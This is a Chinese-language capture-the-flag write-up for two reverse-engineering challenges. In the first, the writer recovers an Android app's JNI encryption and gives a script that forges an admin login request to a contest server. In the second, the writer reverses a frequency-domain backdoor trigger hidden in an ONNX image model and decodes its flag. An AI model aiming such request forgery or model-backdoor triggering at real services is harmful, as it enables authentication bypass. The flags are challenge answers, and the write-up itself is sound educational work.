libmixtitlele.so 里没有直接导出的 Java_xxx_EncTitlele,说明它是动态注册的。看 JNI_OnLoad:
FindClass("com/example/titlele/OO00OO0OOOO000O000")
RegisterNatives(...)
JNINativeMethod 表里能直接找到这三个元素:
方法名:EncTitlele
签名:(Ljava/lang/String;)Ljava/lang/String;
函数地址:0xd6df8
2 还原 EncTitlele 的逻辑
从 0xd6df8 的函数反汇编可以还原出:
取 Java 传入的字符串
生成 16 字节随机 AES key
用内置 RSA 公钥把 AES key 加密并 Base64,得到 a1
用 AES-128-CBC 加密登录字符串,IV 是 16 字节全 0,结果 Base64,得到 b2
拼成 JSON:
3 提取内置 RSA 公钥
公钥直接在 .rodata 里,偏移附近能读到完整 PEM:
1 2 3 -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAovOZy74DuQ55Nr/mOKROqHjcjVF8V2OrRPEAXz6x61z+jgUBZ6aIFLh3S0/6YSO9/OlWIsrkaJlISCPdrLOjnvSwt6IOiWKVbzcxqyblR8MHbM74Lp7l9T8M9rKqQmjiCFPcbcpyAsABg5CwgthfBo26BIusvptmb+rHXO5kylRHTMbXrBfC5Yagp25M7bCbpg7JqtR4uaaKg9c849+BrvYq5PHtfDMAbUVSCbXG17/lR/1WENQSbPTAgdtmkUvdcwV14iHYIhuspiXnIa/Z5Ze/xekUvwYVk09/pU7T0zSVxR+gRUhNPtKZYiZ/w7alSAVjvGooOSc+ps+7KVCkyQIDAQAB -----END PUBLIC KEY-----
因此 native 层整体就是:
1 2 3 4 5 6 7 8 9 loginString -> AES-128-CBC(key=random16, iv=0x00*16) -> b2 = Base64(ciphertext) random16 -> RSA public encrypt -> a1 = Base64(ciphertext) final json = {"a1":"...","b2":"..."}
和服务端交互验证
根据上面的分析,我们可以自己重放请求。
1 先按原始逻辑发请求
原始 APK 的逻辑等价于:
1 2 user = "user" isHacker = true
发送后,服务端返回:
这和题面完全吻合。
2 只改成 admin 还不够
如果只把用户名改成 admin,但仍然保留:
服务端返回:
也就是说,服务端除了检查是不是 admin,还会检查你是不是“黑客模式”。
3 真正的解法
把请求改成:
1 2 user = "admin" isHacker = false
或者直接省略 isHacker 字段(proto3 里默认就是 false),都可以拿到 flag。
服务端返回:
1 xmctf{adde035c89b5fb477e43b1ef78c8d890}
关键代码
我把复现脚本保存成了同目录下的 solve.py。
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import argparseimport base64import jsonimport osimport sysimport requestsfrom Crypto.Cipher import AESfrom Crypto.Cipher import PKCS1_v1_5from Crypto.PublicKey import RSAfrom Crypto.Util.Padding import padURL = 'http://120.48.104.4:2788/24ab99d75d3327cf3c46/login' PUBLIC_KEY_PEM = b'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAovOZy74DuQ55Nr/mOKROqHjc\njVF8V2OrRPEAXz6x61z+jgUBZ6aIFLh3S0/6YSO9/OlWIsrkaJlISCPdrLOjnvSwt6IO\niWKVbzcxqyblR8MHbM74Lp7l9T8M9rKqQmjiCFPcbcpyAsABg5CwgthfBo26BIusvptm\nb+rHXO5kylRHTMbXrBfC5Yagp25M7bCbpg7JqtR4uaaKg9c849+BrvYq5PHtfDMAbUVS\nCbXG17/lR/1WENQSbPTAgdtmkUvdcwV14iHYIhuspiXnIa/Z5Ze/xekUvwYVk09/pU7T\n0zSVxR+gRUhNPtKZYiZ/w7alSAVjvGooOSc+ps+7KVCkyQIDAQAB\n-----END PUBLIC KEY-----' INITIAL_SEED = 622918 MULTIPLIER = 1664525 INCREMENT = 1013904223 def make_login_info (user: str , hacker_mode: str ) -> bytes : user_bytes = user.encode('utf-8' ) if len (user_bytes) > 127 : raise ValueError('user is too long for this tiny protobuf encoder' ) msg = bytearray () msg += b'\n' msg += bytes ([len (user_bytes)]) msg += user_bytes if hacker_mode == 'true' : msg += b'\x10\x01' elif hacker_mode == 'false' : msg += b'\x10\x00' return bytes (msg) def xor_payload (buf: bytes ) -> bytes : result_buf = bytearray () key = INITIAL_SEED for b in buf: result_buf.append(b ^ key & 255 ) key = MULTIPLIER * key + INCREMENT & 4294967295 return bytes (result_buf) def build_login_string (user: str , hacker_mode: str ) -> str : login_info = make_login_info(user, hacker_mode) encrypted = xor_payload(login_info) return base64.b64encode(encrypted).decode() def wrap_native_request (login_string: str ) -> dict : aes_key = os.urandom(16 ) rsa_key = RSA.import_key(PUBLIC_KEY_PEM) rsa_cipher = PKCS1_v1_5.new(rsa_key) a1 = rsa_cipher.encrypt(aes_key) aes_cipher = AES.new(aes_key, AES.MODE_CBC, iv=b'\x00' * 16 ) b2 = aes_cipher.encrypt(pad(login_string.encode(), 16 )) return {'a1' : base64.b64encode(a1).decode(), 'b2' : base64.b64encode(b2).decode()} def entrypoint () -> int : arg_parser = argparse.ArgumentParser(description='Reproduce the MixTielele challenge request.' ) arg_parser.add_argument('--user' , default='admin' , help ='username to send' ) arg_parser.add_argument('--hacker' , choices=['true' , 'false' , 'omit' ], default='false' , help ='value of LoginInfo.isHacker' ) arg_parser.add_argument('--show-json' , action='store_true' , help ='print the final POST body before sending' ) cli_args = arg_parser.parse_args() login_string = build_login_string(cli_args.user, cli_args.hacker) request_body = wrap_native_request(login_string) if cli_args.show_json: print (json.dumps(request_body, ensure_ascii=False , indent=2 )) response = requests.post(URL, json=request_body, timeout=15 ) print (f'status: {response.status_code} ' ) print (response.text) return 0 if __name__ == '__main__' : try : raise SystemExit(entrypoint()) except requests.RequestException as exc: print (f'request failed: {exc} ' , file=sys.stderr) raise SystemExit(1 )
默认参数就是正确解:
预期输出:
1 2 status: 200 xmctf{adde035c89b5fb477e43b1ef78c8d890}
1 验证不同分支
原始 APK 行为:
1 python solve.py --user user --hacker true
返回:
只改用户名但保留黑客标记:
1 python solve.py --user admin --hacker true
返回:
正确解:
1 python solve.py --user admin --hacker false
或:
1 python solve.py --user admin --hacker omit
都能拿到 flag。
最终 flag xmctf{adde035c89b5fb477e43b1ef78c8d890}
REVERSE_SdTVdp_Oracle_Eye 题目分析 其中 run.sh 内容很简单,本质上就是设置 LD_LIBRARY_PATH 后运行 ./oracle_eye,说明主逻辑都在 ELF 和 ONNX 模型里。
解题过程 关键分析
题目名称:Oracle_Eye
题目类型:逆向 / 模型逆向 / 频域后门
最终 flag:
1 xmctf{Y0u_ H4v3_ Tru1y_ S33n_ Th3_ 0r4c13_ 1n_ Th3_ N0is3}
附件分析
拿到附件后先看目录结构,可以发现核心文件如下:
oracle_eye:Linux ELF 主程序
oracle_eye.onnx
oracle_eye.onnx.data
run.sh
lib/libonnxruntime.so.1.19.2
其中 run.sh 内容很简单,本质上就是设置 LD_LIBRARY_PATH 后运行 ./oracle_eye,说明主逻辑都在 ELF 和 ONNX 模型里。
先排除诱饵
对 ELF 做字符串搜索时,很容易发现两个看起来像 flag 的字符串:
1 2 xmctf{old_ interfface_ deprecated} xmctf{dimension_ xmctf{this_ is_ not_ the_ real_ flag}
第二个字符串已经明确写了 this_is_not_the_real_flag,基本可以判断这些都是诱饵,不能直接交。
同时还能看到一些关键字符串:
class_id
fingerprint
trigger_score
image
64x64 PGM (P5)
说明程序会读取图像,送入 ONNX 模型推理,然后根据输出结果进一步判定。
输入格式分析
通过逆向程序读入逻辑,可以看出它支持以下输入方式:
从文件读取 64x64 的 PGM(P5) 灰度图
从标准输入直接读取 4096 字节灰度数据
程序里还保留了一个类似开发接口的提示,大意是也能输入 4096 个 float,但更像调试接口,不是正常赛题入口。
因此,正常使用时可以认为输入就是 64x64 单通道灰度图。
ONNX 模型分析
用 onnxruntime 查看模型的输入输出:
输入:image
输出:
class_id
fingerprint
trigger_score
继续查看模型图,会发现一个非常关键的点:
trigger_score 不是神经网络学习出来的分类结果,而是作者手工写在模型里的频域检测逻辑。
模型对输入做二维 DCT 后,只抽取以下四个频点:
(5, 5)
(10, 10)
(15, 15)
(20, 20)
并分别与四个固定值比较:
0.3142
0.2718
0.2828
0.3466
比较形式可以概括为:
1 exp(-3 * abs(x - target) / 0.02)
四项相乘后得到 trigger_score。
这也正好对应题目的 Hint:
所以本题的核心不是普通图像识别,而是一个藏在频域中的后门触发器。
分类结果不是终点
模型一共有 5 个分类,对应程序中的字符串大致为:
其中 class_id == 4 对应“神谕”。
但是本题还有第二层校验。 即使模型输出了“神谕”,程序也不会立刻给最终结果,而是会进入一段“深层验证”逻辑。
这段逻辑会:
再次根据那 4 个目标 DCT 频点重建一份内部特征
将这份特征和模型输出的 fingerprint 做逐项比较
只有全部匹配,才算真正通过
也就是说,真正的解题条件不是“分类成神谕”这么简单,而是必须让这四个频点落到正确位置上,从而同时满足:
trigger_score 足够高
class_id == 4
fingerprint 通过内部二次校验
深层验证与真实 flag
继续逆向“深层验证”后面的字符串生成函数,可以发现它取的正是四个目标频点对应的固定值,并先乘以 10000:
0.3142 -> 3142
0.2718 -> 2718
0.2828 -> 2828
0.3466 -> 3466
然后将这四个整数按位打包成一个 64 位种子,再加上一个固定常量:
之后程序会:
用一个 splitmix64 风格的伪随机过程生成字节流
与 .rodata 中的一段固定 50 字节数据异或
再对每个字节做循环右移 3 位
最终解码出真实 flag:
解题脚本
本地解题脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import argparseimport structfrom pathlib import Pathimport numpy as npTARGET_COEFFS = (0.3142 , 0.2718 , 0.2828 , 0.3466 ) TARGET_INTS = tuple ((round (v * 10000 ) for v in TARGET_COEFFS)) XOR_PAD_HEX = '402bdacb81996036ba6e04cc4f825c5b2383e325f0438662176bc861d00b614624ec55c3972b5088c514adebcfca7fbcbd6b' def decode_flag (): seed = TARGET_INTS[0 ] & 65535 | (TARGET_INTS[1 ] & 65535 ) << 16 | (TARGET_INTS[2 ] & 65535 ) << 32 | (TARGET_INTS[3 ] & 65535 ) << 48 seed = seed + 14820093436037199924 & (1 << 64 ) - 1 gamma = 11400714819323198485 mul1 = 13787848793156543929 mul2 = 10723151780598845931 pad = bytes .fromhex(XOR_PAD_HEX) result_buf = bytearray () state = seed for i in range (50 ): state = state + gamma & (1 << 64 ) - 1 z = state z = (z ^ z >> 30 ) * mul1 & (1 << 64 ) - 1 z = (z ^ z >> 27 ) * mul2 & (1 << 64 ) - 1 z ^= z >> 31 b = z & 255 ^ pad[i] result_buf.append((b >> 3 | (b & 7 ) << 5 ) & 255 ) return result_buf.decode() def make_dct_matrix (n=64 ): m = np.zeros((n, n), dtype=np.float32) scale0 = np.sqrt(1.0 / n) scale = np.sqrt(2.0 / n) for k in range (n): alpha = scale0 if k == 0 else scale for i in range (n): m[k, i] = alpha * np.cos(np.pi * (i + 0.5 ) * k / n) return m def build_trigger_image (): coeff = np.zeros((64 , 64 ), dtype=np.float32) for idx, value in zip ((5 , 10 , 15 , 20 ), TARGET_COEFFS): coeff[idx, idx] = value m = make_dct_matrix(64 ) img = m.T @ coeff @ m return img.astype(np.float32) def save_float_trigger (out_path: Path ): img = build_trigger_image() out_path.write_bytes(img.astype('<f4' ).tobytes()) return img def entrypoint (): arg_parser = argparse.ArgumentParser(description='Oracle Eye solver' ) arg_parser.add_argument('--write-trigger' , type =Path, help ="Write a 64x64 float32 trigger image for the binary's raw float mode." ) cli_args = arg_parser.parse_args() flag = decode_flag() print (flag) if cli_args.write_trigger: img = save_float_trigger(cli_args.write_trigger) print (f'wrote float trigger to {cli_args.write_trigger} (min={img.min ():.6 f} , max={img.max ():.6 f} )' ) print ("usage on Linux: printf 'f' | cat - trigger.bin | ./oracle_eye" ) if __name__ == '__main__' : entrypoint()
最终 flag xmctf{Y0u_H4v3_Tru1y_S33n_Th3_0r4c13_1n_Th3_N0is3}